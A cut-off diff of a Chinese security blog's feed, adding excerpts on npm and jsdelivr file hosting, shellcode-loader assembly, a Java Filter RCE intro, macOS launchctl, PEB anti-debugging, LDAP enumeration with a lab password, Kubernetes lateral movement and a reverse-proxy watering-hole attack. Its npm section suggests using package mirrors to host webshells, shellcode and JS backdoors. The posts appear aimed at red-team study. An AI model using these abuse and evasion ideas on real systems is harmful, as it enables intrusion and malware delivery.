+<p>可以看到已经生成了package.json这个包的基础信息文件,接下来可以继续创建这个包内的其他文件,这里我随便写了一个index.js。</p> +<p><code>npm publish</code> 用于发布这个包。</p> +<p> + <img src="https://images.payloads.online/2022-03-01-18-03-01.png" alt=""> + +</p> +<h2 id="0x03-如何使用静态文件">0x03 如何使用静态文件?</h2> +<p>NPM有很多源,这里我随便写几个:</p> +<ul> +<li><a href="https://cdn.jsdelivr.net/npm/touch-file@1.0.0/index.js">https://cdn.jsdelivr.net/npm/touch-file@1.0.0/index.js</a></li> +<li><a href="https://mirrors.cloud.tencent.com/npm/touch-file">https://mirrors.cloud.tencent.com/npm/touch-file</a></li> +<li><a href="https://r.cnpmjs.org/touch-file">https://r.cnpmjs.org/touch-file</a></li> +<li><a href="https://mirrors.cloud.tencent.com/npm/touch-file">https://mirrors.cloud.tencent.com/npm/touch-file</a></li> +<li><a href="https://repo.huaweicloud.com/repository/npm/touch-file/-/touch-file-1.0.0.tgz">https://repo.huaweicloud.com/repository/npm/touch-file/-/touch-file-1.0.0.tgz</a></li> +</ul> +<p> + <img src="https://images.payloads.online/2022-03-01-18-03-17.png" alt=""> + +</p> +<p> + <img src="https://images.payloads.online/2022-03-01-18-03-25.png" alt=""> + +</p> +<p>可以看到至少阿里、腾讯是有NPM同步的,但是文件是压缩包,而jsdelivr可以直接访问源文件,这一点可以当作图床、文件传输&hellip;. 我博客的图床就是用的Github + jsdelivr进行加速。</p> +<p>发挥想象:</p> +<ul> +<li>免费图床</li> +<li>文件下载服务器(小工具、webshell、shellcode?)</li> +<li>JS后门&hellip;</li> +<li>&hellip;.</li> +</ul> +<p>PS:如果遇到不太正常的NPM,可以通过Report举报滥用。</p> +<p> + <img src="https://images.payloads.online/2022-03-01-18-03-40.png" alt=""> + </p>静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器https://payloads.online/archivers/2022-02-16/1/Wed, 16 Feb 2022 17:23:32 +0800https://payloads.online/archivers/2022-02-16/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x00-nasm与masm">0x00 NASM与MASM</h2> <p><a href="https://www.nasm.us/">NASM</a>与<a href="https://www.masm32.com/">MASM</a>是一个汇编器,能够将汇编代码转换为能够被CPU执行的(目标代码)二进制代码,<a href="https://www.nasm.us/">NASM</a>目前是由H. Peter Anvin提供支持,与MASM相对来说较为自由。MASM是由微软推出,但已经许久没有更新,我开始是从MASM开始看,但是有些书籍会举例很多伪汇编的例子,这不能让我很好的锻炼汇编语言,MASM提供了很多的伪汇编语法,这块我直接跳过,伪汇编代码给我的感觉像是在写C语言。</p> @@ -674,7 +1277,21 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 -</span></code></pr某系统 - Java Filter内部反射功能完成远程代码执行https://payloads.online/archivers/2021-12-01/1/Wed, 01 Dec 2021 00:37:56 +0800https://payloads.online/archivers/2021-12-01/1/<h2 id="0x00-java-servlet-api-之-filter">0x00 Java Servlet API 之 Filter</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>; win.asm +</span></span><span style="display:flex;"><span>global Start +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>section .data +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>section .text +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Start: +</span></span><span style="display:flex;"><span> mov eax,10 +</span></span><span style="display:flex;"><span> int 3 +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过nasm编译:</p>某系统 - Java Filter内部反射功能完成远程代码执行https://payloads.online/archivers/2021-12-01/1/Wed, 01 Dec 2021 00:37:56 +0800https://payloads.online/archivers/2021-12-01/1/<h2 id="0x00-java-servlet-api-之-filter">0x00 Java Servlet API 之 Filter</h2> <p>Filter,字面意思有过滤的意思,其实在Servlet API中,它就是充当了一个过滤器,2000年,Sun公司在Servlet 2.3规范中添加了Filter功能,并在Servlet 2.4中对Filter进行了细节上的补充。每一个Java Servlet Web都可以设置多个Filter,开发人员可以通过<code>web.xml</code>配置Filter的过滤范围。Filter的实现主要通过Servlet API中提供的Filter接口定义的方法,其实就三个方法。</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> @@ -689,7 +1306,23 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 -</span></code></prMacOS任务计划https://payloads.online/archivers/2021-11-23/1/Tue, 23 Nov 2021 10:10:08 +0800https://payloads.online/archivers/2021-11-23/1/<h2 id="0x00-launchctl">0x00 launchctl</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">interface</span> <span style="color:#a6e22e">Filter</span> { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">init</span>(FilterConfig var1) <span style="color:#66d9ef">throws</span> ServletException; +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 对Filter进行初始化,可以通过FilterConfig对象读取web.xml中的&lt;init-param&gt;&lt;/init-param&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// init只会在Web服务启动时执行1次</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">doFilter</span>(ServletRequest var1, ServletResponse var2, FilterChain var3) <span style="color:#66d9ef">throws</span> IOException, ServletException; +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Filter主要的过滤方法实现,主要是对不同的请求做不同的动作,ServletRequest对象可以转换为HttpServletRequest</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">destroy</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Filter执行完毕所要做的操作可以在这个函数中实现</span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// destroy只会在Web服务停止时执行1次</span> +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-filter中的filterchain">0x01 Filter中的FilterChain</h2> +<p>通常开发人员会使用<code>web.xml</code>来配置当前站点的各种信息,例如:Servlet、Filter、Listener、显示名称、描述&hellip;等其他信息,关于web.xml的格式定义,oracle官方有一个<a href="https://docs.oracle.com/cd/E13222_01/wls/docs81/webapp/web_xml.html">非常详细的说明</a>。</p>MacOS任务计划https://payloads.online/archivers/2021-11-23/1/Tue, 23 Nov 2021 10:10:08 +0800https://payloads.online/archivers/2021-11-23/1/<h2 id="0x00-launchctl">0x00 launchctl</h2> <blockquote> <p>launchctl是一个统一的服务管理框架,启动、停止和管理守护进程、应用程序、进程和脚本。</p> </blockquote> @@ -716,7 +1349,27 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 -</span></code></prBeingDebugged反调试技巧https://payloads.online/archivers/2021-09-13/1/Mon, 13 Sep 2021 10:10:08 +0800https://payloads.online/archivers/2021-09-13/1/<h2 id="0x01-windows-pebprocess-environment-block">0x01 Windows PEB(Process Environment Block)</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE plist PUBLIC &#34;-//Apple//DTD PLIST 1.0//EN&#34; &#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd&#34;&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;plist</span> <span style="color:#a6e22e">version=</span><span style="color:#e6db74">&#34;1.0&#34;</span><span style="color:#f92672">&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;dict&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;key&gt;</span>Label<span style="color:#f92672">&lt;/key&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;string&gt;</span>com.example.touchsomefile<span style="color:#f92672">&lt;/string&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;key&gt;</span>ProgramArguments<span style="color:#f92672">&lt;/key&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;array&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;string&gt;</span>touch<span style="color:#f92672">&lt;/string&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;string&gt;</span>/tmp/helloworld<span style="color:#f92672">&lt;/string&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;/array&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;key&gt;</span>StartInterval<span style="color:#f92672">&lt;/key&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">&lt;integer&gt;</span>300<span style="color:#f92672">&lt;/integer&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/dict&gt;</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/plist&gt;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-守护进程服务文件路径">0x01 守护进程服务文件路径</h2> +<p>plist按照如下优先级排列(由低到高):</p>BeingDebugged反调试技巧https://payloads.online/archivers/2021-09-13/1/Mon, 13 Sep 2021 10:10:08 +0800https://payloads.online/archivers/2021-09-13/1/<h2 id="0x01-windows-pebprocess-environment-block">0x01 Windows PEB(Process Environment Block)</h2> <p>Windows <a href="https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">PEB</a>,中文的含义是进程环境块,意味着其中包含了很多与进程相关的复杂信息。微软官方给出了Windows PEB的结构体标准,每一个字段都代表了特定的意义。</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> @@ -741,10 +1394,35 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></prMASM中VirtualProtect函数的分析https://payloads.online/archivers/2021-09-03/1/Fri, 03 Sep 2021 10:10:08 +0800https://payloads.online/archivers/2021-09-03/1/<h2 id="0x00-调用约定">0x00 调用约定</h2> -<p><a href="https://docs.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-160">__stdcall</a>关键字用于约定调用Win32 API函数的参数入栈顺序,它的入栈顺序是由右向左,一般C/C++语言代码中没有声明调用约定的话,默认就是<code>__stdcall</code>调用约定。</p> -<p>C++中如果要声明函数的调用约定,可以通过以下格式:</p> -<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> _PEB { +</span></span><span style="display:flex;"><span> BYTE Reserved1[<span style="color:#ae81ff">2</span>]; +</span></span><span style="display:flex;"><span> BYTE BeingDebugged; +</span></span><span style="display:flex;"><span> BYTE Reserved2[<span style="color:#ae81ff">1</span>]; +</span></span><span style="display:flex;"><span> PVOID Reserved3[<span style="color:#ae81ff">2</span>]; +</span></span><span style="display:flex;"><span> PPEB_LDR_DATA Ldr; +</span></span><span style="display:flex;"><span> PRTL_USER_PROCESS_PARAMETERS ProcessParameters; +</span></span><span style="display:flex;"><span> PVOID Reserved4[<span style="color:#ae81ff">3</span>]; +</span></span><span style="display:flex;"><span> PVOID AtlThunkSListPtr; +</span></span><span style="display:flex;"><span> PVOID Reserved5; +</span></span><span style="display:flex;"><span> ULONG Reserved6; +</span></span><span style="display:flex;"><span> PVOID Reserved7; +</span></span><span style="display:flex;"><span> ULONG Reserved8; +</span></span><span style="display:flex;"><span> ULONG AtlThunkSListPtr32; +</span></span><span style="display:flex;"><span> PVOID Reserved9[<span style="color:#ae81ff">45</span>]; +</span></span><span style="display:flex;"><span> BYTE Reserved10[<span style="color:#ae81ff">96</span>]; +</span></span><span style="display:flex;"><span> PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; +</span></span><span style="display:flex;"><span> BYTE Reserved11[<span style="color:#ae81ff">128</span>]; +</span></span><span style="display:flex;"><span> PVOID Reserved12[<span style="color:#ae81ff">1</span>]; +</span></span><span style="display:flex;"><span> ULONG SessionId; +</span></span><span style="display:flex;"><span>} PEB, <span style="color:#f92672">*</span>PPEB; +</span></span></code></pre></td></tr></table> +</div> +</div><p>在Windbg中可以直观的看到PEB字段的详细信息:</p>MASM中VirtualProtect函数的分析https://payloads.online/archivers/2021-09-03/1/Fri, 03 Sep 2021 10:10:08 +0800https://payloads.online/archivers/2021-09-03/1/<h2 id="0x00-调用约定">0x00 调用约定</h2> +<p><a href="https://docs.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-160">__stdcall</a>关键字用于约定调用Win32 API函数的参数入栈顺序,它的入栈顺序是由右向左,一般C/C++语言代码中没有声明调用约定的话,默认就是<code>__stdcall</code>调用约定。</p> +<p>C++中如果要声明函数的调用约定,可以通过以下格式:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 @@ -766,7 +1444,22 @@ <li>栈遵循先入后出的原则</li> <li>&hellip;..</li> </ul> -<p>写一段汇编:</p>博客更新了https://payloads.online/archivers/2021-08-30/2/Mon, 30 Aug 2021 00:00:00 +0000https://payloads.online/archivers/2021-08-30/2/<!-- raw HTML omitted --> +<p>写一段汇编:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>push 10h ; 代表第 1 个参数 +</span></span><span style="display:flex;"><span>push 20h ; 代表第 2 个参数 +</span></span><span style="display:flex;"><span>pop eax ; eax = 20h +</span></span><span style="display:flex;"><span>pop ebx ; ebx = 10h +</span></span></code></pre></td></tr></table> +</div> +</div><p>栈遵循先入后出的原则,栈顶ESP是低地址,栈底EBP是高地址。</p>博客更新了https://payloads.online/archivers/2021-08-30/2/Mon, 30 Aug 2021 00:00:00 +0000https://payloads.online/archivers/2021-08-30/2/<!-- raw HTML omitted --> <p>接下来的时间会将自己的知识进行归纳,将博客中错误的内容进行更正,将没有成体系的知识文章进行选择性删除&hellip;.</p>Windows活动目录中的LDAPhttps://payloads.online/archivers/2021-08-11/1/Wed, 11 Aug 2021 00:00:00 +0000https://payloads.online/archivers/2021-08-11/1/<h2 id="ldap基础概念">LDAP基础概念</h2> <h3 id="条目entry">条目(Entry)</h3> <p>一个条目有若干个属性,每一个属性应对一个或多个值,有些条目可以包含若干个子条目。</p> @@ -796,7 +1489,50 @@ </p> <h3 id="属性类型attributetype">属性类型(AttributeType)</h3> -<p>属性类型定义了属性值的设定规则(属性语法),以及同一个属性的各个数据相互比较的规则等。</p>Kubernetes(K8s)横向移动办法https://payloads.online/archivers/2021-07-20/1/Tue, 20 Jul 2021 00:00:00 +0000https://payloads.online/archivers/2021-07-20/1/<blockquote> +<p>属性类型定义了属性值的设定规则(属性语法),以及同一个属性的各个数据相互比较的规则等。</p> +<p> + <img src="https://images.payloads.online/b689bbda-4f5f-11ec-8d2e-00d861bf4abb.png" alt="2021-08-11-11-57-13"> + +</p> +<h2 id="ldap-filter-进阶">LDAP Filter 进阶</h2> +<h3 id="ldap-objectcategory与objectclass">LDAP objectCategory与objectClass</h3> +<p>微软的网站上有一篇关于LDAP Filter非常详细的文章:<a href="https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx">https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx</a></p> +<p> + <img src="https://images.payloads.online/b6c23ce4-4f5f-11ec-a1ec-00d861bf4abb.png" alt="2021-08-11-12-00-24"> + +</p> +<h3 id="获取所有域内计算机对象">获取所有域内计算机对象</h3> +<p>通过ldapsearch可以跟进不同的条件去检索域内的数据,上面的表格中明确了objectCategory属性与objectClass属性组合可以获取指定对象,通过这个表格,我们尝试获取域内的所有机器:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ldapsearch -h 192.168.49.132 -b dc<span style="color:#f92672">=</span>domain16,dc<span style="color:#f92672">=</span>local -D cn<span style="color:#f92672">=</span>zhangsan,ou<span style="color:#f92672">=</span>officeuser,dc<span style="color:#f92672">=</span>domain16,dc<span style="color:#f92672">=</span>local -w San@123 objectClass<span style="color:#f92672">=</span>computer dn +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/b6fdd6a0-4f5f-11ec-ba51-00d861bf4abb.png" alt="2021-08-11-12-00-55"> + +</p> +<p>LDAP Search Option 说明:</p> +<ul> +<li><code>-H</code> ldapuri,格式为ldap://机器名或者IP:端口号,不能与-h和-p同时使用</li> +<li><code>-h</code> LDAP服务器IP或者可解析的hostname,与-p可结合使用,不能与-H同时使用</li> +<li><code>-p</code> LDAP服务器端口号,与-h可结合使用,不能与-H同时使用</li> +<li><code>-x</code> 使用简单认证方式</li> +<li><code>-D</code> 所绑定的服务器的DN</li> +<li><code>-w</code> 绑定DN的密码,与-W二者选一</li> +<li><code>-W</code> 不输入密码,会交互式的提示用户输入密码,与-w二者选一</li> +<li><code>-f</code> 指定输入条件,在RFC 4515中有更详细的说明</li> +<li><code>-c</code> 出错后忽略当前错误继续执行,缺省情况下遇到错误即终止</li> +<li><code>-n</code> 模拟操作但并不实际执行,用于验证,常与-v一同使用进行问题定位</li> +<li><code>-v</code> 显示详细信息</li> +<li><code>-d</code> 显示debug信息,可设定级别</li> +<li><code>-s</code> 指定搜索范围, 可选值:base|one|sub|children</li> +</ul> +<h3 id="获取所有域内用户对象">获取所有域内用户对象</h3> +<p>这里涉及到LDAP的条件逻辑运算,LDAP共有6个逻辑运算符,分别如下:</p>Kubernetes(K8s)横向移动办法https://payloads.online/archivers/2021-07-20/1/Tue, 20 Jul 2021 00:00:00 +0000https://payloads.online/archivers/2021-07-20/1/<blockquote> <p>博客半年没写了,来除除草&hellip;. :(</p> </blockquote> <h2 id="0x01-kubernetes-简介">0x01 Kubernetes 简介</h2> @@ -824,7 +1560,17 @@ <li>容忍度(Toleration)与污点(Taint)</li> </ol> <h3 id="节点node">节点(Node)</h3> -<p>Kubernetes 通过将容器放入在节点(Node)上运行的 Pod 中来执行你的工作负载。 节点可以是一个虚拟机或者物理机器,取决于所在的集群配置。最容易理解的例子:</p>红队技巧:基于反向代理的水坑攻击https://payloads.online/archivers/2021-02-16/1/Tue, 16 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-16/1/<p>完整项目代码:</p> +<p>Kubernetes 通过将容器放入在节点(Node)上运行的 Pod 中来执行你的工作负载。 节点可以是一个虚拟机或者物理机器,取决于所在的集群配置。最容易理解的例子:</p> +<p> + <img src="https://images.payloads.online/b3b30a38-4f5f-11ec-8073-00d861bf4abb.png" alt="2021-07-20-10-38-26"> + +</p> +<p>该集群有三个节点,我可以在这三个节点上创建很多个Pod,而Pod中可以包含多个容器。在所有的节点中,至少要有一个Master节点,Master节点是第一个加入集群的机器,它具有整个集群的最高权限,本文的目的就是研究如何通过其他节点,横向移动到Master节点,因为Secret敏感信息(令牌、账户密码、公私钥等等)都存储在Kubernetes的etcd数据库上。</p> +<h3 id="pod">Pod</h3> +<p>Pod是可以在 Kubernetes 中创建和管理的、最小的可部署的计算单元。</p> +<p>Pod(就像在鲸鱼荚或者豌豆荚中)是一组(一个或多个) 容器; 这些容器共享存储、网络、以及怎样运行这些容器的声明。 Pod中的内容总是并置(colocated)的并且一同调度,在共享的上下文中运行。 Pod所建模的是特定于应用的“逻辑主机”,其中包含一个或多个应用容器, 这些容器是相对紧密的耦合在一起的。 在非云环境中,在相同的物理机或虚拟机上运行的应用类似于 在同一逻辑主机上运行的云应用。</p> +<p>Pod的共享上下文包括一组 Linux 名字空间、控制组(cgroup)和可能一些其他的隔离方面,即用来隔离Docker容器的技术。 在Pod的上下文中,每个独立的应用可能会进一步实施隔离。</p> +<p>就Docker概念的术语而言,Pod类似于共享名字空间和文件系统卷的一组Docker容器,也就是说Pod是Docker容器的超集。</p>红队技巧:基于反向代理的水坑攻击https://payloads.online/archivers/2021-02-16/1/Tue, 16 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-16/1/<p>完整项目代码:</p> <ul> <li>Go语言版本:<a href="https://github.com/Rvn0xsy/Pricking">Pricking</a></li> <li>NodeJS版本:<a href="https://github.com/Rvn0xsy/Pricking-node">Pricking-node</a></li> @@ -850,7 +1596,61 @@ </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker pull openresty/openresty:alpine -</span></span></code></prCVE-2021-3156 - Exploit修改https://payloads.online/archivers/2021-02-09/1/Tue, 09 Feb 2021 00:00:00 +0000https://payloads.online/archivers/2021-02-09/1/<p>New-Exploit : <a href="https://github.com/Rvn0xsy/CVE-2021-3156-plus">https://github.com/Rvn0xsy/CVE-2021-3156-plus</a></p> +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="openresty配置文件">OpenResty配置文件</h3> +<p>OpenResty Docker环境共有两块需要关注的配置文件:</p> +<ul> +<li>/etc/nginx/conf.d</li> +<li><a href="https://github.com/openresty/docker-openresty/blob/master/nginx.conf">/usr/local/openresty/nginx/conf/nginx.conf</a></li> +</ul> +<p>其中主配置文件是最精简的,我根据OpenResty的文档优化了一个,后续Dockerfile的编写也是替换的主配置文件。</p> +<h3 id="openresty---lua-ngx-api">OpenResty - Lua Ngx API</h3> +<p>若想要在Nginx配置中执行Lua代码,需要遵循<a href="https://openresty-reference.readthedocs.io/en/latest/Lua_Nginx_API/">Lua Ngx API</a>,文档中提供了<code>*_by_lua</code>,<code>*_by_lua_block</code>和<code>*_by_lua_file</code>来引入Lua代码。</p> +<p><code>nginx.conf</code>简单实例:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre 